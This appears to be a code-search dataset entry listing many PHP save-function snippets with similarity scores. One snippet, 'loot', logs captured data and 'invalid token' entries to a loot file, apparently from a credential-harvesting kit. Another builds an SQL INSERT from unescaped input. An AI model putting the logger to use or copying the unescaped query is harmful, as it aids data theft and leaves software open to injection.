"function save() {\n \tfile_put_contents(\"threads/{$this->id}\", serialize($this));\n }",
"public final function save()\n {\n }",
"function save() {\r\n\t\t$this->log .= \"save() called<br />\";\r\n\t\tif (count($this->data) < 1) {\r\n\t\t\t$this->log .= \"Nothing to save.<br />\";\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//create file pointer\r\n\t\tif (!$fp=@fopen($this->filename,\"w\")) {\r\n\t\t\t$this->log .= \"Could not create or open \".$this->filename.\"<br />\";\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//write to file\r\n\t\tif (!@fwrite($fp,serialize($this->data))) {\r\n\t\t\t$this->log .= \"Could not write to \".$this->filename.\"<br />\";\r\n\t\t\tfclose($fp);\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//close file pointer\r\n\t\tfclose($fp);\r\n\t\treturn true;\r\n\t}",
"public function save():void;",
"public function saveData()\r\n {\r\n \r\n }",
"function loot($flag,$data){\n $file=\"loot/loot.txt\"; // make sure of the permissions on file.\n $content= file_get_contents($file);\n if ($flag == 0) {\n $content .= \"[[DATA]] \".$data.\"\\n\";\n //echo \"all good\";\n } else {\n $content .= \"[[ERROR]] invalid token\".\"\\n\";\n //echo \"bad\";\n }\n file_put_contents($file,$content);\n}",
"public function save()\r\n {\r\n \r\n }",
"function save() {\n $this->log .= \"save() called<br />\";\n if (count($this->data) < 1) {\n $this->log .= \"Nothing to save.<br />\";\n return false;\n }\n //create file pointer\n $this->log .= \"Save file name: \".$this->filename.\"<br />\";\n if (!$fp=@fopen($this->filename,\"w\")) {\n $this->log .= \"Could not create or open \".$this->filename.\"<br />\";\n return false;\n }\n //write to file\n if (!@fwrite($fp,serialize($this->data))) {\n $this->log .= \"Could not write to \".$this->filename.\"<br />\";\n fclose($fp);\n return false;\n }\n //close file pointer\n fclose($fp);\n return true;\n }",
"function save()\n {\n }",
"function save()\n {\n }",
"protected function savedraft()\n {\n global $INFO, $ID, $INPUT, $conf;\n\n if (class_exists('\\\\dokuwiki\\\\Draft', false)) {\n /* Release Hogfather (and above) */\n\n $draft = new \\dokuwiki\\Draft($ID, $INFO['client']);\n if (!$draft->saveDraft()) {\n $errors = $draft->getErrors();\n foreach ($errors as $error) {\n msg(hsc($error), -1);\n }\n }\n\n } else {\n /* Release Greebo and below */\n\n if (!$conf['usedraft']) return;\n if (!$INPUT->post->has('wikitext')) return;\n\n // ensure environment (safeguard when used via AJAX)\n assert(isset($INFO['client']), 'INFO.client should have been set');\n assert(isset($ID), 'ID should have been set');\n\n $draft = array(\n 'id' => $ID,\n 'prefix' => substr($INPUT->post->str('prefix'), 0, -1),\n 'text' => $INPUT->post->str('wikitext'),\n 'suffix' => $INPUT->post->str('suffix'),\n 'date' => $INPUT->post->int('date'),\n 'client' => $INFO['client'],\n );\n $cname = getCacheName($draft['client'] . $ID, '.draft');\n if (io_saveFile($cname, serialize($draft))) {\n $INFO['draft'] = $cname;\n }\n }\n }",
"public function save()\n {\n if ($this->tid)\n {\n $query = sprintf('UPDATE %sTASK SET TASK_STAT=\"%s\", TASK_NOTE=\"%s\" WHERE TASK_ID=%d',\n DB_TBL_PREFIX,\n mysql_real_escape_string($this->taskstate, $GLOBALS['DB']),\n mysql_real_escape_string($this->note, $GLOBALS['DB']),\n $this->tid);\n // print_r($query); \n mysql_query($query, $GLOBALS['DB']);\n \n }\n }",
"public function save()\n\t{\n\n\t}",
"private function _saveExt() {\r\n\r\n }",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"function checkSaveButtons() {\n if ($this->arrTableParameters['savedok'] || $this->arrTableParameters['saveandclosedok']) {\n $tce = GeneralUtility::makeInstance('t3lib_TCEmain');\n $tce->stripslashes_values=0;\n if (count($this->arrTableParameters['grps'])) {\n\t $arrSave['grps'] = $this->arrTableParameters['grps'];\n\t $arrData[$this->arrWizardParameters['table']][$this->arrWizardParameters['uid']][$this->arrWizardParameters['field']] = serialize($arrSave);\n } else {\n \t$arrData[$this->arrWizardParameters['table']][$this->arrWizardParameters['uid']][$this->arrWizardParameters['field']] = '';\n }\n $tce->start($arrData,array());\n\t $tce->process_datamap();\n if ($this->arrTableParameters['saveandclosedok']) {\n header('Location: ' . GeneralUtility::locationHeaderUrl($this->arrWizardParameters['returnUrl']));\n\t\t\t\texit;\n }\n }\n }",
"public function save() {}",
"public function save() {}",
"function savetxt($code, $titre){\n\t\t$fichier = fopen(\"save_code/\".$titre.'.txt', 'a+');\n\t\tfwrite($fichier, $code);\n\t\tfclose($fichier);\n\t\t$this->saved_txt = $titre;\n\t}",
"public function save() {}",
"public function save()\n\t {\n\t\tif (isset($this->_advert->date) === true && isset($this->_advert->phone) === true)\n\t\t {\n\t\t\t$bigfile = new BigFile(\"base-\" . $this->_advert->phone, 10);\n\t\t\t$bigfile->addrecord($this->_advert->date);\n\t\t } //end if\n\n\t }",
"public function save()\n\t{\n\t\treturn false;\n\t}",
"protected function save()\n\t{\n\t\t$this->saveItems();\n\t\t//$this->saveAssignments();\n\t\t//$this->saveRules();\n\t}",
"public\tfunction\tsave()\n\t\t{\n\t\t}",
"public function save(): bool;",
"public function save(): bool;",
"public function save()\n {\n $_SESSION['quiz'][$this->_testId] = serialize($this->_answers);\n }",
"private function save_hash_file(){\n\n $file = MD5_HASHER_DIR.$this->file_check;\n if(is_file($file) && is_writable($file)){\n $fh = fopen($file, 'w');\n fwrite($fh, json_encode($this->md5_gen_output));\n fclose($fh);\n return true;\n }\n\n return false;\n }",
"public function save(): bool\n {\n\n $bytes_written = file_put_contents($this->file_name, json_encode($this->getData()));\n\n if ($bytes_written === FALSE) {\n return false;\n }\n\n return true;\n }",
"public function save()\n {\n try {\n $testRunCache = new CTM_Test_Run_Cache();\n $testRun = $testRunCache->getById($this->testRunId);\n\n if ( $testRun->testRunStateId == $this->testRunStateId ) {\n // if the state is already set save the trouble of the save()\n } else if ( $testRun->testRunStateId == 5 ) {\n // If the test run has failed we cannot undo a failure.\n } else {\n $testRun->testRunStateId = $this->testRunStateId;\n $testRun->save();\n }\n\n } catch ( Exception $e ) {\n }\n\n // do the default save method.\n return parent::save();\n }",
"private static function save() {\n\t\tif(self::$data===null) throw new Excepton('Save before load!');\n\t\t$fp=fopen(self::$datafile,'w');\n\t\tif(!$fp) throw new Exception('Could not write data file!');\n\t\tforeach (self::$data as $item) {\n\t\t\tfwrite($fp,$item); // we use the __toString() here\n\t\t}\n\t\tfclose($fp);\n\t}",
"private function writeTextToFile() {\n\t\t$text = $this -> pm -> getText($this -> padid);\n\t\t$path = sprintf('%s/%s.tex', $this -> directory, $this -> name);\n\t\tfile_put_contents($path, $text);\n\t}",
"public function autosaved()\n {\n }",
"public function save()\n {\n }",
"public function saveTindakanKomponen(){\n\t\t\t$tindakankomponentersimpan = true;\n\t\t\t\n\t\t\treturn $tindakankomponentersimpan;\n\t\t}",
"function save($b){\r\n\techo \"<b>SOMETHING WENT WRONG.</b> Saving to _junk.txt<P>\";\t\r\n\t$fp = fopen(\"_junk.txt\", \"w\");\r\n\tfwrite($fp, $b); \r\n\tfclose($fp);\t\r\n}",
"public function saveDataToFile()\n {\n\n }",
"public function saveToFile() {\n\n $file = $this->getExtractedFile();\n\n $file->close();\n\n $this->extractedFile = false;\n }",
"private function saveFixture($name) {\n file_put_contents(\n $this->fixturePath() . '/' . $name . '.txt',\n serialize($this->{$name})\n );\n }",
"function save($objet) {\n\t// Random code for subject\n\t\t$code = substr(str_shuffle(\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"), 0, 5);\n\n\t\t$sql = \"INSERT INTO cat_materia(vchCodigoMateria, vchMateria)\n\t\t\t\tVALUES\t('\".$code.\"', '\".$objet['name'].\"')\";\n\t\t$result = $this -> query($sql);\n\t\t\n\t\treturn $result;\n\t}",
"public function save()\n {\n return file_put_contents($this->getFilepath(), $this->read());\n }",
"protected function onSaved()\n {\n return true;\n }",
"private function saveData(): void\n {\n $this->tab_chat_call->call_update = gmdate(\"Y-m-d H:i:s\"); //data e hora UTC\n $result = $this->tab_chat_call->save();\n\n if ($result) {\n $this->Result = true;\n $this->Error = [];\n $this->Error['msg'] = \"Sucesso!\";\n $this->Error['data']['call'] = $this->tab_chat_call->call_id;\n } else {\n $this->Result = false;\n $this->Error = [];\n $this->Error['msg'] = $this->tab_chat_call->fail()->getMessage();\n $this->Error['data'] = null;\n }\n }",
"public function save()\n {\n $settings = Yii::$app->getModule('termsbox')->settings;\n $settings->set('title', $this->title);\n $settings->set('statement', $this->statement);\n $settings->set('content', $this->content);\n $settings->set('active', (boolean) $this->active);\n $settings->set('showAsModal', (boolean) $this->showAsModal);\n $settings->set('hideUnaccepted', (boolean) $this->hideUnaccepted);\n\n if ($setting = Setting::findByName('content')) {\n RichText::postProcess($this->content, $setting);\n }\n\n if ($this->reset) {\n User::updateAll(['termsbox_accepted' => false]);\n if (!Yii::$app->user->isGuest) {\n Yii::$app->user->getIdentity()->termsbox_accepted = false;\n }\n }\n\n return true;\n }",
"function backup($bf, $preferences, $question, $level = 6) {\n //print('backup()');\n $status = true;\n $multichoices = get_records(\"question_turprove\", \"question\", $question, \"id\");\n //If there are multichoices\n if ($multichoices) {\n //Iterate over each multichoice\n foreach ($multichoices as $multichoice) {\n $status = fwrite($bf, start_tag(\"turprove\", $level, true));\n //Print multichoice contents\n fwrite($bf, full_tag(\"LAYOUT\", $level + 1, false, $multichoice->layout));\n fwrite($bf, full_tag(\"ANSWERS\", $level + 1, false, $multichoice->answers));\n fwrite($bf, full_tag(\"SINGLE\", $level + 1, false, $multichoice->single));\n fwrite($bf, full_tag(\"SHUFFLEANSWERS\", $level + 1, false, $multichoice->shuffleanswers));\n fwrite($bf, full_tag(\"CORRECTFEEDBACK\", $level + 1, false, $multichoice->correctfeedback));\n fwrite($bf, full_tag(\"PARTIALLYCORRECTFEEDBACK\", $level + 1, false, $multichoice->partiallycorrectfeedback));\n fwrite($bf, full_tag(\"INCORRECTFEEDBACK\", $level + 1, false, $multichoice->incorrectfeedback));\n\n fwrite($bf, full_tag(\"QUESTIONSOUND\", $level + 1, false, $multichoice->questionsound));\n fwrite($bf, full_tag(\"AUTOPLAY\", $level + 1, false, $multichoice->autoplay));\n fwrite($bf, full_tag(\"QDIFFICULTY\", $level + 1, false, $multichoice->qdifficulty));\n\n $status = fwrite($bf, end_tag(\"turprove\", $level, true));\n }\n\n //Now print question_answers\n // $status = backup_answers();\n // $status = question_backup_answers_tur($bf,$preferences,$question);\n $answers = get_records(\"question_answers\", \"question\", $question, \"id\");\n //If there are answers\n if ($answers) {\n\n\n $status = $status && fwrite($bf, start_tag(\"ANSWERS\", $level, true));\n //Iterate over each answer\n foreach ($answers as $answer) {\n $status = $status && fwrite($bf, start_tag(\"ANSWER\", $level + 1, true));\n //Print answer contents\n fwrite($bf, full_tag(\"ID\", $level + 2, false, $answer->id));\n fwrite($bf, full_tag(\"ANSWER_TEXT\", $level + 2, false, $answer->answer));\n fwrite($bf, full_tag(\"FRACTION\", $level + 2, false, $answer->fraction));\n fwrite($bf, full_tag(\"FEEDBACK\", $level + 2, false, $answer->feedback));\n\n if ($answer->answersound == null) {\n fwrite($bf, full_tag(\"ANSWERSOUND\", $level + 2, false, ''));\n } else {\n fwrite($bf, full_tag(\"ANSWERSOUND\", $level + 2, false, $answer->answersound));\n }\n\n if ($answer->feedbacksound == null) {\n fwrite($bf, full_tag(\"FEEDBACKSOUND\", $level + 2, false, ''));\n } else {\n fwrite($bf, full_tag(\"FEEDBACKSOUND\", $level + 2, false, $answer->feedbacksound));\n }\n\n if ($answer->tur_answer_truefalse == null) {\n fwrite($bf, full_tag(\"TUR_ANSWER_TRUEFALSE\", $level + 2, false, ''));\n } else {\n fwrite($bf, full_tag(\"TUR_ANSWER_TRUEFALSE\", $level + 2, false, $answer->tur_answer_truefalse));\n }\n\n $status = $status && fwrite($bf, end_tag(\"ANSWER\", $level + 1, true));\n }\n $status = $status && fwrite($bf, end_tag(\"ANSWERS\", $level, true));\n }\n\n //Now print question_answers\n // $status = question_backup_answers($bf, $preferences, $question);\n }\n return $status;\n }",
"public abstract function save();",
"public function testSave() {\n\t\t$temaBuscar = new Tema;\n\t\t$temaBuscar->nombre = 'Prueba';\n\t\t$this->assertEquals( count( $temaBuscar->search()->getData() ), 0 );\n\t\n\t\t// guarda el tema\n\t\t$tema = new Tema;\n\t\t$tema->nombre = 'Prueba';\n\t\t$tema->responsable = 1;\n\t\t$tema->save();\n\t\n\t\t$this->assertEquals( count( $temaBuscar->search()->getData() ), 1 );\n\t}",
"public function save()\r\n {\r\n //\r\n }",
"function beforeSaveLoop()\r\n {\r\n }",
"public function save(){\n return parent::writeFile( $this->outputFile, $this->template);\n }",
"private function check_DB() {\n $this->record_progress(\n \"Step 4: Identifying which mutations are already in database\");\n\n $path_valid = $this->path_valid;\n $path_new_input = $this->path_new_input;\n\n $table = \"NewSpliceman\";\n\n $this->record_progress(\"1\");\n\n $read_valid = fopen($path_valid, \"r\") or \n die (\"Unable to open file!\");\n $write_new_input = fopen($path_new_input, \"a\") or \n die (\"Unable to open file!\");\n\n $this->record_progress(\"2\");\n\n $valid_mutations = false;\n\n while (! feof($read_valid)) {\n $this->record_progress(\"3\");\n $mutation = fgets($read_valid);\n if (ctype_space($mutation)) {\n break;\n }\n $mutation_data = explode(\"\\t\", $mutation);\n $this->record_progress(\"4\");\n if ($this->is_valid($mutation_data)) {\n $this->record_progress(\"5\");\n $db_key = \n $mutation_data[0].\"_\".$mutation_data[5].\"_\".\n $mutation_data[6].\"_\".$mutation_data[7].\"_\".\n $mutation_data[11].\"_\".$mutation_data[12];\n // Removes newline characters, if they are present\n $db_key = str_replace(\"\\n\", \"\", $db_key);\n $this->record_progress(\"6\");\n $result = DB::table($table)->\n where('chr_loc_wild_mut_transcript_exon', $db_key)->\n first();\n $valid_mutations = true;\n $this->record_progress(\"8\");\n if (count($result) == 0) {\n fwrite($write_new_input, $mutation);\n }\n $this->record_progress(\"9\");\n } \n } \n\n $this->record_progress(\"10\");\n fclose($read_valid);\n fclose($write_new_input);\n\n $this->record_progress(\"11\");\n }",
"public function Save()\r\n {\r\n return false;\r\n }",
"protected function saveData()\n {\n // TODO: データ保存\n\n // 一次データ削除\n $this->deleteStore();\n\n drupal_set_message($this->t('The form has been saved.'));\n }",
"public function save()\n {\n // For V2.0\n }",
"function persist() ;",
"public function save()\n {\n return false;\n }",
"function saveTxT($chatId, $from, $message){\r\r\n $myfile = \"fichero.txt\";\r\r\n //$fichero = file_get_contents($myfile);\r\r\n $txt = $chatId.\"-\".$message.\"-\".$from. \" \\n\";\r\r\n //$fichero.= $txt;\r\r\n\r\r\n file_put_contents($myfile, $txt, FILE_APPEND | LOCK_EX); \r\r\n \r\r\n}",
"function save()\n {\n /* remove objectclass GOhard if this is an ogroup tab */\n if(isset($this->parent->by_object['ogroup'])){\n $this->objectclasses = array();\n }\n\n plugin::save();\n\n /* Strip out 'default' values */\n foreach(array(\"gotoXMethod\",\"gotoXDriver\", \"gotoXResolution\", \"gotoXColordepth\",\n \"gotoLpdServer\", \"gotoXKbModel\", \"gotoXKbLayout\",\n \"gotoXKbVariant\", \"gotoXMouseType\", \"gotoXMouseport\") as $val){\n\n if ($this->attrs[$val] == \"default\"){\n $this->attrs[$val]= array();\n }\n }\n\n if($this->gotoXMethod == \"default\"){\n $this->attrs['gotoXdmcpServer'] = array();\n $this->attrs['gotoXMethod'] = array();\n }else{\n $this->attrs['gotoXdmcpServer'] = array_values($this->selected_xdmcp_servers);\n }\n\n\n if($this->AutoSync){\n $this->attrs['gotoXHsync'] = \"30+55\";\n $this->attrs['gotoXVsync'] = \"50+70\";\n }\n\n /* Write back to ldap */\n $ldap= $this->config->get_ldap_link();\n $ldap->cd($this->dn);\n $this->cleanup();\n $ldap->modify ($this->attrs); \n new log(\"modify\",\"terminal/\".get_class($this),$this->dn,array_keys($this->attrs),$ldap->get_error());\n\n if (!$ldap->success()){\n msg_dialog::display(_(\"LDAP error\"), msgPool::ldaperror($ldap->get_error(), $this->dn, LDAP_MOD, get_class()));\n }\n $this->handle_post_events(\"modify\");\n\n /* Send goto reload event */\n if(count($this->attrs)){\n $this->send_goto_reload();\n }\n }",
"public static function Guardar($unAuto)\n {\n//var_dump($unAuto);\n $archivo = fopen(\"Archivos/estacionados.txt\", \"a\");\n $renglon = $unAuto->patente.\"--\".$unAuto->fechIngreso.\"\\n\";\n \n fwrite($archivo, $renglon);\n fclose($archivo);\n }"
]
| [
"0.6235355",
"0.6001607",
"0.5981118",
"0.5953967",
"0.59170145",
"0.59170145",
"0.5859388",
"0.58337224",
"0.5832184",
"0.5781754",
"0.5767901",
"0.57483494",
"0.56978834",
"0.5679583",
"0.5669856",
"0.56463945",
"0.5623309",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56205744",
"0.56169724",
"0.5596745",
"0.55925655",
"0.55856293",
"0.55534434",
"0.55400544",
"0.5528456",
"0.55241466",
"0.5518528",
"0.5514843",
"0.5509972",
"0.5509972",
"0.55047214",
"0.5488083",
"0.54768497",
"0.54685104",
"0.54631245",
"0.54631245",
"0.54631245",
"0.54631245",
"0.54631245",
"0.5458759",
"0.5457468",
"0.5457468",
"0.545722",
"0.5456213",
"0.5435363",
"0.54196465",
"0.54078287",
"0.5380466",
"0.53797674",
"0.53797674",
"0.53712034",
"0.5361019",
"0.5359859",
"0.5359556",
"0.5356831",
"0.53560615",
"0.53506726",
"0.53433245",
"0.53344697",
"0.5330188",
"0.53145325",
"0.53143454",
"0.5302848",
"0.52948487",
"0.5291777",
"0.5283259",
"0.527963",
"0.5276262",
"0.52710086",
"0.5257396",
"0.5252445",
"0.5246335",
"0.52327543",
"0.5228348",
"0.52275366",
"0.52264315",
"0.5224937",
"0.5216576",
"0.5215499",
"0.5212072",
"0.5202544",
"0.52021486",
"0.51957726"
]
| 0.0 | -1 |
/ Save tgram after check | function save_rpm_details($post) {
$last_tgram_id = $this->mdl_common->save_tgram_by_user($post);
if ($last_tgram_id) {
$post['tgrmid'] = $last_tgram_id;
}
$this->mdl_common->save_pm_by_user($post);
$insert_data = array(
'tgrmid' => $post['tgrmid'],
'tgram_id' => $post['tgram_id'],
'account_name' => $post['account_name'],
'cid' => $post['cid'],
'received_date' => $post['received_date'],
'rec_date_n' => get_day_name($post['received_date']),
'request_type_id' => $post['request_type_id'],
'program_id' => $post['program_id'],
'requester_id' => $post['pm_id'],
'queries' => $post['queries'],
'resolution_date' => $post['resolution_date'],
'resolution_date_n' => get_day_name($post['resolution_date']),
//'due_date' => $post['due_date'],
// 'due_date_n' => get_day_name($post['due_date']),
'no_of_pages' => $post['no_of_pages'],
'billing_hour' => $post['billing_hour'],
'qc_hour' => $post['qc_hour'],
'total_hour' => $post['total_hour'],
'actual_hour' => $post['actual_hour'],
'start_date' => $post['start_date'],
'start_date_n' => get_day_name($post['start_date']),
'delivered_on' => $post['delivered_on'],
'deliv_date_n' => get_day_name($post['delivered_on']),
'days' => $post['days'],
'late' => $post['late'],
'invoice_month' => $post['invoice_month'],
'inv_date' => $post['inv_date'],
'url_rpm' => $post['url_rpm'],
'comments' => $post['comments'],
'remark' => $post['remark'],
'helper_id' => $post['helper_id'],
'helper_hour' => $post['helper_hour'],
'user_hour' => $post['user_hour'],
'user_id' => $post['user_id'],
'submit_time' => date("Y-m-d G:i:s", time())
);
$this->db->insert('tbl_rpm', $insert_data);
$inserted_rows = $this->db->affected_rows();
if ($inserted_rows > 0) {
return 1;
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function savtb() {\n\t\tif (strlen($this->haslo)<40) $this->haslo=sha1($this->haslo);\n\t\t$this->llog=time();\n\t\tif (!$this->id) {\n\t\t\t$qstr='INSERT INTO users VALUES (NULL,\\''.$this->login.'\\',\\''.$this->haslo.'\\',\\''.$this->email.'\\',time())';\n\t\t\t$ret=db_exec($qstr);\n\t\t\t$id = db_lastInsertID();\n\t\t}\n\t\tif ($ret) return true;\n\t\treturn false;\n\t}",
"private function saveRobotsTxtAction()\n\t{\n\t\tinclude_once(ISC_BASE_PATH.'/lib/class.file.php');\n\t\t$fc = new FileClass();\n\t\t$content = $_POST['robotstxtFileContent'];\n\t\t$success = 'RobotsSaveSuccess';\n\n\t\tif (isset($_POST['robotstxtRevertButton'])) {\n\t\t\t// Revert button is clicked instead.\n\t\t\t$content = $this->defaultContent;\n\t\t\t$success = 'RobotsRevertSuccess';\n\t\t}\n\n\t\t$res = $fc->writeToFile($content, $this->filePath);\n\t\tif ($res == true) {\n\t\t\tFlashMessage(GetLang($success), MSG_SUCCESS, $this->mainUrl);\n\t\t} else {\n\t\t\tFlashMessage(GetLang('RobotsSaveError'), MSG_ERROR, $this->mainUrl);\n\t\t}\n\t}",
"function saveVister()\n {\n \n }",
"public function save() {\n\t\tif ($this->is_bad == true) {\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_headline, 'utf-8')) {\n\t\t\techo \"NO head\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_description1, 'utf-8')) {\n\t\t\techo \"NO description1\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_description2, 'utf-8')) {\n\t\t\techo \"NO description2\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\n\t\treturn parent::save();\n\t}",
"function save();",
"function save();",
"function updateData() {\n global $rundata, $pagebuffer, $spambotDataLoc;\n return ( file_put_contents( $spambotDataLoc.'rundata', serialize($rundata) ) && file_put_contents( $spambotDataLoc.'pagebuffer', serialize( $pagebuffer ) ) );\n \n}",
"public function saveNewTxtFile()\r\n {\r\n\r\n $fileName = date(\"Y-m-d\") . '-' . rand(0, 512) . \"Question\";\r\n\r\n $file = new StorageFileSaver($fileName);\r\n\r\n foreach ($this->fileContent as $content) {\r\n $file->write($content);\r\n }\r\n\r\n $file->saveAndCloseFile();\r\n }",
"public function save()\n {\n return FALSE;\n }",
"function save() {\n\t\t// If every question is answered, save to the db. Otherwise, to session.\n\t\tif($this->isComplete()) {\n\t\t\t$this->saveToRecord();\n\t\t} else {\n\t\t\t$this->saveToSession();\n\t\t}\n\t}",
"public function save() {\t\t\t\t\n\t\tif (file_put_contents($this->filename, $this->objects)) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}",
"private function save() {\n $this->state->get()['score'] += $this->dice->sum();\n $this->state->get()['round'] += 1;\n\n if ($this->state->get()['score'] >= 100) {\n $this->message = \"Grattis! Du vann!\";\n $this->cleardice = TRUE;\n $this->cleargame = TRUE;\n }\n\n $this->dice->clear();\n }",
"private function save() \n {\n $content = \"<?php\\n\\nreturn\\n[\\n\";\n\n foreach ($this->arrayLang as $this->key => $this->value) \n {\n $content .= \"\\t'\".$this->key.\"' => '\".$this->value.\"',\\n\";\n }\n\n $content .= \"];\";\n\n file_put_contents($this->path, $content);\n\n }",
"public final function save() {\n }",
"function SaveAfspraak()\n{\n //zoniet, return false\n\n //afspraak opslaan en return true\n\n}",
"function save_debug($txt,$file) {\n\n// ECRITURE FICHIER\n\t// ENREGISTREMENT LOG\n\tif ($fp=fopen($file, \"a\")) {\n\t\tfwrite($fp, \"\\n---------------------------------------------------------\\n\");\n\t\tfwrite($fp, $txt);\n\t\tfwrite($fp, \"\\n---------------------------------------------------------\\n\\n\");\n\t\tfclose($fp);\n\t} else {\n\t\techo \"Erreur d'ouverture de \".$file;\n\t}\n}",
"public static function save($webRadio){\n // sérialisation de l'objet\n $serialized_webradio = serialize($webRadio);\n $filename=\"../webRadio.txt\";\n if(file_put_contents($filename, $serialized_webradio.\"\\n\",FILE_APPEND)!=FALSE){\n return 1;\n }else{\n return 0;\n }\n \n }",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save() {\n\t\t\t\n\t\t}",
"function Save();",
"protected function _saveTry()\n {\n $this->_history[] = $this->_number;\n }",
"function save() {\n \tfile_put_contents(\"threads/{$this->id}\", serialize($this));\n }",
"public final function save()\n {\n }",
"function save() {\r\n\t\t$this->log .= \"save() called<br />\";\r\n\t\tif (count($this->data) < 1) {\r\n\t\t\t$this->log .= \"Nothing to save.<br />\";\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//create file pointer\r\n\t\tif (!$fp=@fopen($this->filename,\"w\")) {\r\n\t\t\t$this->log .= \"Could not create or open \".$this->filename.\"<br />\";\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//write to file\r\n\t\tif (!@fwrite($fp,serialize($this->data))) {\r\n\t\t\t$this->log .= \"Could not write to \".$this->filename.\"<br />\";\r\n\t\t\tfclose($fp);\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//close file pointer\r\n\t\tfclose($fp);\r\n\t\treturn true;\r\n\t}",
"public function save():void;",
"public function saveData()\r\n {\r\n \r\n }",
"function loot($flag,$data){\n $file=\"loot/loot.txt\"; // make sure of the permissions on file.\n $content= file_get_contents($file);\n if ($flag == 0) {\n $content .= \"[[DATA]] \".$data.\"\\n\";\n //echo \"all good\";\n } else {\n $content .= \"[[ERROR]] invalid token\".\"\\n\";\n //echo \"bad\";\n }\n file_put_contents($file,$content);\n}",
"public function save()\r\n {\r\n \r\n }",
"function save() {\n $this->log .= \"save() called<br />\";\n if (count($this->data) < 1) {\n $this->log .= \"Nothing to save.<br />\";\n return false;\n }\n //create file pointer\n $this->log .= \"Save file name: \".$this->filename.\"<br />\";\n if (!$fp=@fopen($this->filename,\"w\")) {\n $this->log .= \"Could not create or open \".$this->filename.\"<br />\";\n return false;\n }\n //write to file\n if (!@fwrite($fp,serialize($this->data))) {\n $this->log .= \"Could not write to \".$this->filename.\"<br />\";\n fclose($fp);\n return false;\n }\n //close file pointer\n fclose($fp);\n return true;\n }",
"function save()\n {\n }",
"function save()\n {\n }",
"protected function savedraft()\n {\n global $INFO, $ID, $INPUT, $conf;\n\n if (class_exists('\\\\dokuwiki\\\\Draft', false)) {\n /* Release Hogfather (and above) */\n\n $draft = new \\dokuwiki\\Draft($ID, $INFO['client']);\n if (!$draft->saveDraft()) {\n $errors = $draft->getErrors();\n foreach ($errors as $error) {\n msg(hsc($error), -1);\n }\n }\n\n } else {\n /* Release Greebo and below */\n\n if (!$conf['usedraft']) return;\n if (!$INPUT->post->has('wikitext')) return;\n\n // ensure environment (safeguard when used via AJAX)\n assert(isset($INFO['client']), 'INFO.client should have been set');\n assert(isset($ID), 'ID should have been set');\n\n $draft = array(\n 'id' => $ID,\n 'prefix' => substr($INPUT->post->str('prefix'), 0, -1),\n 'text' => $INPUT->post->str('wikitext'),\n 'suffix' => $INPUT->post->str('suffix'),\n 'date' => $INPUT->post->int('date'),\n 'client' => $INFO['client'],\n );\n $cname = getCacheName($draft['client'] . $ID, '.draft');\n if (io_saveFile($cname, serialize($draft))) {\n $INFO['draft'] = $cname;\n }\n }\n }",
"public function save()\n {\n if ($this->tid)\n {\n $query = sprintf('UPDATE %sTASK SET TASK_STAT=\"%s\", TASK_NOTE=\"%s\" WHERE TASK_ID=%d',\n DB_TBL_PREFIX,\n mysql_real_escape_string($this->taskstate, $GLOBALS['DB']),\n mysql_real_escape_string($this->note, $GLOBALS['DB']),\n $this->tid);\n // print_r($query); \n mysql_query($query, $GLOBALS['DB']);\n \n }\n }",
"public function save()\n\t{\n\n\t}",
"private function _saveExt() {\r\n\r\n }",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"function checkSaveButtons() {\n if ($this->arrTableParameters['savedok'] || $this->arrTableParameters['saveandclosedok']) {\n $tce = GeneralUtility::makeInstance('t3lib_TCEmain');\n $tce->stripslashes_values=0;\n if (count($this->arrTableParameters['grps'])) {\n\t $arrSave['grps'] = $this->arrTableParameters['grps'];\n\t $arrData[$this->arrWizardParameters['table']][$this->arrWizardParameters['uid']][$this->arrWizardParameters['field']] = serialize($arrSave);\n } else {\n \t$arrData[$this->arrWizardParameters['table']][$this->arrWizardParameters['uid']][$this->arrWizardParameters['field']] = '';\n }\n $tce->start($arrData,array());\n\t $tce->process_datamap();\n if ($this->arrTableParameters['saveandclosedok']) {\n header('Location: ' . GeneralUtility::locationHeaderUrl($this->arrWizardParameters['returnUrl']));\n\t\t\t\texit;\n }\n }\n }",
"public function save() {}",
"public function save() {}",
"function savetxt($code, $titre){\n\t\t$fichier = fopen(\"save_code/\".$titre.'.txt', 'a+');\n\t\tfwrite($fichier, $code);\n\t\tfclose($fichier);\n\t\t$this->saved_txt = $titre;\n\t}",
"public function save() {}",
"public function save()\n\t {\n\t\tif (isset($this->_advert->date) === true && isset($this->_advert->phone) === true)\n\t\t {\n\t\t\t$bigfile = new BigFile(\"base-\" . $this->_advert->phone, 10);\n\t\t\t$bigfile->addrecord($this->_advert->date);\n\t\t } //end if\n\n\t }",
"public function save()\n\t{\n\t\treturn false;\n\t}",
"protected function save()\n\t{\n\t\t$this->saveItems();\n\t\t//$this->saveAssignments();\n\t\t//$this->saveRules();\n\t}",
"public\tfunction\tsave()\n\t\t{\n\t\t}",
"public function save(): bool;",
"public function save(): bool;",
